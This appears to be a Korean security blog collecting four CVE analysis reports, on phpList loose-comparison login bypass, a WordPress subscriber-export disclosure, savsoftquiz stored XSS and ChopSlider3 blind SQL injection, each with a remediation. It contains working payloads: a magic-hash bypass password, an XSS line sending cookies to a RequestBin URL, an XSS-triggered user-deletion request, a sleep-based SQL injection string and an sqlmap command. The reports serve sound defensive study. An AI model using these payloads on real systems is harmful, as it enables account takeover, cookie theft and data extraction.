1. 개요

CVE 코드

CVE–2020-8547

분류

Broken Authentication

대상 어플리케이션

phpList 3.5.0

취약 코드

lists/admin/phpListAdminAuthentication.php

실행 환경

Apache 2.0 / Windows 7 x64 / phpList

phpList는 메일 리스트를 관리하기 위한 오픈 소스이다.

뉴스레터,뉴스,광고 같은 정보를 제공해 주기한 소프트웨어이다.

phpListAdminAuthentication.php 에서 암호함수가 ==연산자를 사용하여 Loose Comparison가 발생한다.

해쉬값 값이 0e+number로 이루어져 있다면 0으로 인식하여 0e+number로 표현되는 해시 값들이 전부 인증이 되는 현상이 발생한다.

환경 구성

Exploit-db에서 취약 소프트웨어를 다운 받는다.

[그림 1]  https://www.exploit-db.com/exploits/47989

 

/apache2/htdocs에 lists폴더를 한다.

lists/config/config.php 에서 db정보를 입력한다.

[그림 3] config.php

 

lists/base/vendor/phplist/core/resources/Database/schema.sql 파일의 데이터 스키마를 sql에 등록해준다.

Mysql 콘솔에 phplistdb를 생성하고 그대로 복사해주면 된다.

 

[그림 4] 데이터 베이스 구성 완료

 

비밀번호를 0+number 포맷으로 변환되는 ‘TyNOQHUS’으로 설정해주었다

 

URL/lists/admin/에 해당 비밀번호로 접속한다.

 

패스워드가 hash화 되어 저장되어진다.

 

취약점을 확인하기위한 환경구성이 완료되었다.

 

PHP – loose comparison

== 비교연산자는 다른 자료형과 쉽게 쓸 수 있게 Type Juggling을 지원한다.

String → float → int를 선호하여 숫자 포맷이 있으면 숫자로 casting후 계산한다.

0e+number를 특수 숫자 포맷으로 인식하여 자동으로 숫자로 변환하여 비교한다.

[그림 8] Php loose comparison

0e13515 = 0e66

→ 0*10^13515 == 0*10^66

→ 0 == 0 (true) 가된다.


2. 상세분석

2.1. 발생 원리

로그인을 검증하는 함수이다.

비교연산자가 ==로 되어있어 loose comparison으로 인한 인증 우회가 발생할 가능성이 있다.

[그림 9] ==으로 패스워드를 비교한다.  

2.2 취약점 확인

admin의 암호는 0e66298694359207596086558843543959518835691168370379069085300385 이다.

SHA256해쉬함수에서 0e+number 형식의 해시 값이 생성되는 값을 찾는다.

[그림  SEQ 그림 \* ARABIC 10] 34250003024812

loose comparison으로 인하여 34250003024812를 사용하여 로그인에 성공하였다.

 

[그림 12] 로그인 성공

2.3 공격 시나리오

Loose Comparison 취약점을 가진 채로 암호 해시 파일이 유출된다면 공격자는 손쉽게 사용자 계정에 로그인 할 수 있다.


3.대응 방안

==(loose) 비교연산을 ===(strict) 비교연산으로 교체하여 Type Juggling이 발생하지 않도록 한다.

[그림 13] strict로 비교연산자 수정

 

 

적용 후

[그림 14] 34250003024812으로 로그인이 되지 않는다.


4. 참고자료

-  phpList 3.5.0

https://www.exploit-db.com/apps/b7d437efdcf604442a5a0a580fcd802c-phplist-3.5.0.zip

-  Exploit-DB

https://www.exploit-db.com/exploits/47989

 -  SHA256 Online

https://emn178.github.io/online-tools/sha256.html

- PHP Loose Comparison

https://velog.io/@woounnan/ROOTME-PHP-Loose-Comparison%20PHP%20-%20Loose%20Comparison

 

1. 취약점 개요

CVE 코드

CVE – 2018 - 6015

분류

Information Disclosure

대상 어플리케이션

WordPress Plugin Email Subscribers & Newsletters 3.4.7

취약 코드

/email-subscribers /export/ export-email-address.php

실행 환경

Apache 2.0 / Windows 7 x64 / Wordpress 5.1.1

WordPress Plugin Email Subscribers & Newsletters 3.4.7이하 버전에서 발견된 취약점이다. Email Subscribers & Newsletters 플러그인은 블로그의 새로운 게시글을 이메일을 통하여 전달해주는 뉴스레터 형식의 플러그인이다. 구독자 정보에 접근하는 권한을 설정해주지 않아 관리자가 아닌 제 3자가 접근할 수 있는 취약점 발생하였다. 공격자는 해당 정보를 악용하여 제 2의 피해를 입힐 수 있다.

 

1.2 환경 구성

워드프레스 수동 설치를 진행한다.

[그림 1] 취약한 플러그인 설치

 

구독자 정보를 생성한다.

[그림 2] 구독자 이메일 생성

1.3 공격 시나리오

공격자는 구독자 정보를 가져와 관리자를 사칭하여 악성메일을 유포 할 수 있다.

[그림 7 공격 시나리오]

 


2. 상세 분석

2.1 발생원리

파일을 받을 때 아무런 검증을 하지 않는다.

공격자는 es에 export를 get으로 받고 post로 옵션을 설정해 주면 구독자의 이메일을 받아 볼 수 있다.

[그림 3] export-email-address.php  

 

2.2 취약점 확인

Chrome 개발자 도구를 이용하여 구독자 정보를 받을 수 있는 폼을 생성하였다.

 

[그림 4] 취약한 코드를 참고하여 폼 생성

 

플러그인에 등록된 이메일 정보들을 가져올 수 있다.

 

[그림 5] email-subscribers.csv

 

공격자는 5가지 옵션을 이용하여 원하는 정보를 가져 올 수 있다.

[그림 6] 5가지 옵션

 


 

3. 대응 방안

구독자 파일을 받아올 때 사용자 검증을 한다.

현재 유저가 WP_User가 아니거나 관리권한이 없으면 스크립트를 종료시킨다.

[그림 8] 변경 코드
[그림 9] 코드가 실행되지 않는다.

 


4. 참고 자료

* Email Subscribers & Newsletters 플러그인

https://pluginarchive.com/wordpress/email-subscribers/v/3-4-7

https://pluginarchive.com/wordpress/email-subscribers/v/3-4-8

* Exploit-DB

https://www.exploit-db.com/exploits/43872

*CVE 2018-6015

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6015

 

CVE-2018-6015.pdf
0.33MB

 1. 개요

CVE 코드

CVE – 2020 -24609

분류

Stored XSS (Cross Site Scripting)

대상 어플리케이션

savsoftquiz_v5

취약 코드

application\config\config.php

실행 환경

Apache 2.0 / Windows 7 x64 / Codeigniter Web Framework

퀴즈를 제공하여 사용자에게 수익을 얻는 플랫폼이다.

Codeigniter Web Framework를 기반으로 만들어졌다. Codeigniter에서 제공하는 XSS필터링 기능을 사용하지 않아 XSS 문제가 발생하였다.

공격자는 악성스크립트를 삽입하여 쿠키, 세션 탈취, DBD 공격을 유도할 수 있다.

(그림 1) 메인 페이지 화면
(그림 2) XSS가 발생한 페이지  

 

XSS (Cross Site Scripting)

XSS공격이란 권한 없는 사용자가 웹사이트에 스크립트를 삽입하는 공격 기법이다.

공격에 성공하게 되면 사용자들은 악성스크립트가 삽입된 페이지에 접근했을 때 스크립트가 실행되어 쿠키나 세션 탈취, 악성 홈페이지 접속, DBD 유도 등의 피해를 입을 수 있다.

자주 쓰이는 공격 방법은 StoredReflected가 있다.

 

Stored XSS

웹사이트 게시판이나 특정 페이지에 스크립트를 삽입하는 공격 방식이다.

악성스크립트가 삽입된 페이지를 로드하면 스크립트가 실행된다.

Stored XSS

Reflected XSS

공격자는 XSS 동작하는 URL 악성스크립트를 삽입하고 노출시킨다.

사용자가 해당 URL 서버에 전송하면 서버는 정확한 결과가 없어 결과를 처리하지 못하고 악성스크립트를 응답페이지에 포함하여 사용자에게 돌려준다.

 

Reflected XSS


2.   상세분석

2.1. 발생 원리

Codeigniter Web Framework는 자체 XSS필터 기능을 제공한다.

Global_xss_filtering값이 FALSE로 설정되어 있어 XSS가 발생 하였다.

( 그림 5) global_xss_filtering이 FALSE로 되어있다.

 

 

Name 악성스크립트 삽입 admin 대쉬보드 페이지에 악성 스크립트가 등록된다.

(그림6) 악성 스크립트가 삽입되는 위치

 

2.2 취약점 확인

Stored XSS 취약점을 이용하여 admin의 세션 쿠키을 탈취할 것이다.

쿠키 값을 받아오기 위해 RequestBin사이트를 이용했다.

ReuestBin은 온라인 기방의 웹 훅 요청 데이터 확인 도구이다.

간단하게 URL를 생성하고 해당 URL을 이용하여 데이터를 가져올 수 있다.

ReuestBin 이용하여 생성한 URL에 쿠기 데이터를 전송하여 쿠키를 탈취해 온다.

( 그림7)    클릭 하나 만으로 쉽게 웹 훅 환경을 만들 수 있다.

 

가입창에 악성 스크립트를 삽입한다.

스크립트 :

<script>window.location.href="RequestBin URL/?cookie="+document.cookie</script>

(그림8) Contact칸에 악성 스크립트를 삽입  

 

admin으로 대쉬보드에 로그인 한다.

스크립트가 실행됐으나 Cookie옵션이 HttpOnly 때문에 쿠기 탈취가 불가능했다.

 

( 그림10) Httponly 옵션으로 인해 아무런 값이 들어가지 않는다.

 

 

XSS를 이용하여 CSRF 공격을 시도하였다.

공격자는 6번을 삭제를 목표로 CSRF 공격을 시도한다.

Admin은 의도치 않게 6번을 삭제하는 URL를 실행시킨다.

스크립트 :

<script>window.location.href="http://192.168.0.132/savsoftquiz/index.php/user/remove_user/6"</script>

( 그림11) 정상적으로 실행되면 subadmin이 삭제된다.

 

( 그림12) CSRF 공격시도

 

 

성공적으로 스크립트가 실행되었다.

( 그림14) subadmin 계정이 삭제 되었다.


3.대응 방안

config.phpglobal_xss_filtering TRUE로 바꾼다.

 

 

적용

(그림16) 필터링되어 XSS가 발생하지 않는다.  


4. 참고자료

 

-  Savsoft Quiz 5

https://github.com/savsofts/savsoftquiz_v5.git  

-  Exploit-DB

https://www.exploit-db.com/exploits/48753  

-  CodeIgniter

https://www.codeigniter.com/userguide3/index.html

 


CVE-2020-24609_보고서.pdf
0.76MB

1. 개요

CVE 코드

CVE – 2020 -11530

분류

SQL 블라인드 인젝션

대상 어플리케이션

Wordpress ChopSlider3 3.4이하 버전에서 발생

취약 코드

/chopslider/get_script/index.php

index.php에서 id를 받아오는 과정에서 입력 값을 검증하지 않아 발생한 취약점 이다.

 

2. 상세 분석

 

2.1. 발생 원리

 

$id에 값을 넣을 때 아무런 검증을 거치지 않고 SQL Query 입력 값을 받는다.

$id값에 아무런 검증을 거치지 않는다.

 

 

2.2 취약점 확인

 

웹 사이트에 접속하여 SQL Injection이 발생하는지 쿼리를 sleep()함수를 통해 확인하였다.

입력값 : ?id=1111111 or (SELECT sleep(5))=111

SQL 인젝션이 유효하다면 해당 구문으로 인해 5초의 딜레이가 생긴다.

5초의 딜레이가 생긴 후 쿼리문이 응답하는 것을 확인하였다.

시간 기반 BLIND SQL 인젝션 공격이 가능 하다.

 

Kali 리눅스의 Sqlmap을 사용하여 진단해 보았다.

sqlmap -u URL?id=1111 --level=5 risk=3

 

Blind Sql Injection자동화 기능으로 테이블을 추출 하였다.

 

DB의 개인정보까지 추출가능하다.

 

3.대응 방안

소스코드에SQL 필터링을 적용한다.

 

적용

 

적용 후

 

 

4. 참고자료

-  Chop Slider3플러그인

https://github.com/idangerous/Plugins/tree/master/Chop%20Slider%203

 

-  Exploit-DB

https://www.exploit-db.com/exploits/48457

 

EDB-ID-48822 분석 보고서.pdf
0.54MB

+ Recent posts